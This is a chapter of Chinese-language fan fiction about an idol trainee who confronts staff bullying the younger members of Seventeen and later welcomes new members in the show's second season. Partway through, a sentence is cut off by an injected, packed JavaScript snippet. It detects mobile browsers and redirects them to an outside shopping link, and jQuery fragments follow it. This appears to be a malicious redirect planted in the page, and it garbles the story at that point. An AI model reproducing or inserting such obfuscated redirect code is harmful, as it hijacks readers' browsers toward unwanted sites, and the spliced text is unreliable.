“吐出来。”
姜里树面无表情的推门而入，手里的垃圾桶径直举到两个脸皱成一团、眼眶飙泪的孩子面前，声音不高，却带着不容商量的力度。
“我说，吐出来。”
自从那次楼道里碰到夫胜宽被工作人员恶意伤害的事件后，他对环绕在孩子们身边的每一道目光都多了十二分的警惕，他不知道在更多看不到的地方，这些孩子是不是也像夫胜宽一样被伤害着。是他没用，他防住了同期练习生里那些或明或暗的嫉妒与排挤，却差点忘了，公司这动荡的潭深水里，多的是捧高踩低、心思腌臜的货色。不是所有人，都像慧琳老师或允真姐那样的人。
“你们先出去。”
姜里树侧过身，为两个孩子让开位置，声音压得很平，在孩子们面前没多说一个字。他在每个孩子推门进来时，都沉默地靠在门口的墙边守着，可千防万防，总有漏网的缝隙。他防住了明处的刀，却没料到有人会在眼皮子下递来裹着糖衣的针，现在是藏着芥末的饼干，下次会是什么。
门关上。
“……里树，我们只是和孩子们做游戏，这是他们输了的小惩罚……”或许是姜里树此刻周身散发出的、近乎实质的低气压太过骇人，那恶搞的工作人员竟被一时唬住，干笑着试图解释。
话音未落——
“砰——！”
一声巨响猛然炸开，双拳头狠砸在桌面的震颤让整个小单间里的空气都凝固了，所有人悚然一惊。
姜里树双手撑在桌上，指节因为用力而泛白，他缓缓抬起头，目光像淬了冰的刀，直直剐向对面的人，一字一顿，声音压得极低，却带着骇人的力度：
“你们在做什么，在对我的孩子们做什么。”
他抓起桌上放在盘子里的芥末饼干，猛地摔到对方面前，饼干碎屑四散飞溅。
“这种‘游戏’，你这么喜欢——你自己怎么不吃？”
他的视线扫过在场每一个工作人员的脸，最终落回主事者身上，声音里的寒意几乎能凝出霜：“用这种方式对待即将出道的孩子们……这到底是‘节目效果’，还是有人把个人情绪带到了工作上？”
话音落下，姜里树周身那骇人的气势骤然一收，从一头狼变成了一只无害的猫，仿佛刚才的震怒只是一场错觉。
他面无表情地拿起桌边一块干净的布，慢条斯理地擦拭着指缝间沾上的饼干碎屑，动作细致而平静。擦干净手，他将布轻轻放回原处，抬眼看向对面脸色已变的工作人员，语气轻描淡写，却字字清晰：“今天的事，还有上次的事。我会一字不落，如实告知韩社长和金代理。”
没有威胁的语气，只是在陈述一个即将发生的事实。而这恰恰是最让人不寒而栗的。
“接下来的游戏环节到此结束。”
姜里树已经度过变声期迈向青年的声音恢复了平日的清晰稳定，不高不低，恰好能让在场所有人都听清。
“孩子们需要开始准备热身训练了，时间有限。”他朝着工作人员的方向，头也没低地微微倾身，行了一个短促而标准的礼，姿态无可挑剔，眼神扫视一圈，语气却疏离得没有一丝温度，“还望各位理解。”
只是通知。
直到那年轻人的身影彻底消失在门外，走廊的脚步声渐行渐远，房间里的空气依然像凝固的石膏。
没有人说话。
也没有人动。
只剩下桌上那盘芥末饼干，和空气里尚未散尽的刺鼻芥末味。
屋外的练习室也陷入一片异常的寂静。
孩子们没有像往常一样玩闹，而是不自觉地依偎在一起，围成一个无声的圈。刚刚经历了芥末饼干折磨的文俊辉和李灿被护在中间，两人的眼眶和鼻尖还泛着红。
当姜里树从小房间推门出来的瞬间，所有目光齐刷刷地聚焦在他身上。文俊辉和李灿看着他，嘴唇动了动，刚忍回去的委屈和惊吓，在看到哥哥的瞬间又涌了上来，眼眶倏地更红了。
他们出来关上门后，房间里那声骇人的巨响，所有人都听见了。
此刻，练习室里没有音乐，没有交谈，只有一种紧绷的、等待的安静，和孩子们望向姜里树时，那些依赖的、惊魂未定的眼神。
“接下来的游戏时间结束，一会儿开始热身训练，我会打电话让慧琳老师提前来上课的。”
一句简简单单、回归日常的训练安排，像一阵熟悉的暖风，奇迹般地驱散了孩子们心头的阴霾。紧绷的肩膀松懈下来，此起彼伏的、带着后怕的呼气声轻轻响起。
姜里树的目光扫过每一张仍有余悸的脸，声音放得更缓，却带着不容置疑的叮嘱：“之后尽量两人以上一起行动。”
他顿了顿，视线格外沉静。
“遇到任何不对劲的事，无论是对人，还是对东西……首先保护好自己。然后，立刻来找我。”
“内！”
他没再说什么，带着芥末味的手藏在身后没有用来安抚两个红眼小兔子，放在平时一定会轻柔的摸摸他们的头发，现在只是看着孩子们重新排队开始拉伸的背影。
凡事总有他。
这个念头已经在他心里扎根很久了，不是负担，而是本能。风浪来了，他得是那道堤，防止他们溃散；路暗了，他得是那盏灯，防止他们迷路。只要他还在，这群跌跌撞撞奔向梦想的孩子，就至少有一个地方可以头也不回地向前跑，他可以不是队长，但不能不是他们的哥哥。
他做不好队长……
自从“芥末饼干”被孩子们集体拉进黑名单，韩成洙社长和金代理都对这次明面上的欺凌事件做出了迅速反应。
涉事工作人员被全部调离，新的‘Seventeen TV’MC是孩子们熟悉依旧的金允真经纪人。金代理对 Seventeen 这个企划寄予期望。因此，在这件事上，他展现出了罕见的、不留情面的强硬。
表面的风波似乎就此平息。
这下总算能安稳一阵子了。自从上次那件事之后，周围的工作人员都变得格外客气，连对孩子们说话的声音都温柔了好几个度。姜里树看着这突如其来的“礼貌”，心里没什么波动，他清楚，这不过是敲打之后暂时的安静罢了，公司暗处的动荡，哪是他发个火就能解决的。
只是，他这么“不敬前辈”居然一点事也没有，就连训斥提点的话语也没有……
非得当偶像吗？好像做经纪人…也还行？
“不进去在门外发什么呆啊？”
后背突然挨了一记不轻不重的巴掌，打断了他的走神。
“…是胜澈啊，没什么。”姜里树收回思绪，转身去看突然出现的崔胜澈，才不会把刚刚想的对他说出来的，总感觉会出事。
崔胜澈没接话，只是狐疑地打量着他——这家伙明明一副心里揣着事的样子，嘴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205949|197337||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上却偏说“没什么”。
一股细微的、说不清是担心还是被排除在外的恼意，悄悄拱了上来。
他们之间已经这么生分了吗……不开心。
‘Seventeen TV’第一季的结束，在 SVT第一套官方公示照的拍摄现场画上了句号。
快门声响之间，那些曾浸透汗水的日夜、那些关于未来的不确定，仿佛在镜头下定格成了真实可触的形状。孩子们望着摄影机里渐渐清晰的“团队”轮廓，眼中亮起一种前所未有的光——出道的信念，从未如此具体而高涨。
当第二季的镜头再次亮起之前，练习室的门被推开，带来了新的风声。
崔胜澈走了进来，身后跟着包括张道允在内的、更多怀揣梦想的陌生面孔。男孩的队伍壮大了，其中也添了几位女生新成员。
空间似乎瞬间被新鲜的朝气与未知的紧张填满。从这一刻起，不同的轨迹将共同延伸，指向同一个未完成的未来。
第二季的第一集在MC的主持下，新老成员依次站定，面对面站成两列报出自己的名字。声音或沉稳、或青涩，在练习室里整齐地响起，这是面向所有人的、第一次官方的交汇。
站在老成员队伍最末的，是挨着金珉奎的姜里树。
他微微侧着头，看着孩子们依次自我介绍，浅金色的长发在练习室的灯光下泛着柔和的光泽，像一圈自然而温暖的光晕。一米八的身高在一众深色发丝的少年中更是格外显眼，此时正温和地立在孩子们的身旁。
轮到他自我介绍时，新成员们原本克制的目光，或多或少都转为了坦然的好奇与打量，视线落在他身上。
“你们好，我是Seventeen的姜里树，来自重国。”
他微微躬身，声音清晰平稳，带着一种沉静而令人安心的质感。
“接下来的练习生活，请不要吝啬的互相指教吧。”话音落，所有孩子们都非常热情的鼓起掌。
转到另一边为新来的孩子们做自我介绍时，掌声依旧热情地响起，鼓励着每一个略显生涩的声音。
唯独，当轮到崔胜澈，这位和姜里树一起将他们带回来，时常带着大家玩耍的哥哥上前时，场内的气氛明显不同了。欢呼声与掌声几乎是瞬间拔高，变得更加响亮、热切，裹挟着毫不掩饰的亲近与信赖，在练习室里荡开一片温暖的喧嚷。
待到MC宣布解散，大家可以自行认识新朋友了，大家紧绷的肩线微微松懈，视线开始有了更自然的接触。不知是谁先走向了谁，小声的“你好”和简短的笑容在人群中散开。真正的认识，从这时才算开始——在卸下表演性质的仪态后，在那些带着试探与善意的、私下的对话里。
“以后，我们要再次成为同伴了！”
成了SVT正式一员的崔胜澈，很快就把之前那点因为姜里树的“隐瞒”而生出的、小小的别扭，自己给消化掉了。这不，刚宣布解散，他就第一个大步走到姜里树身边，不由分说地张开手臂，结结实实地给了对方一个结实有力的“爱的抱抱”。
姜里树先是愣了一下，随后才抬起手，轻轻回抱住已经将脑袋埋进他颈窝的崔胜澈。
他微微偏过头，在那片喧闹的背景音里，用只有两人能听清的音量，轻声说：“欢迎你，澈哩。”
停顿了一瞬，声音里带上了一丝真实的温度。
“你能来……真的太好了。”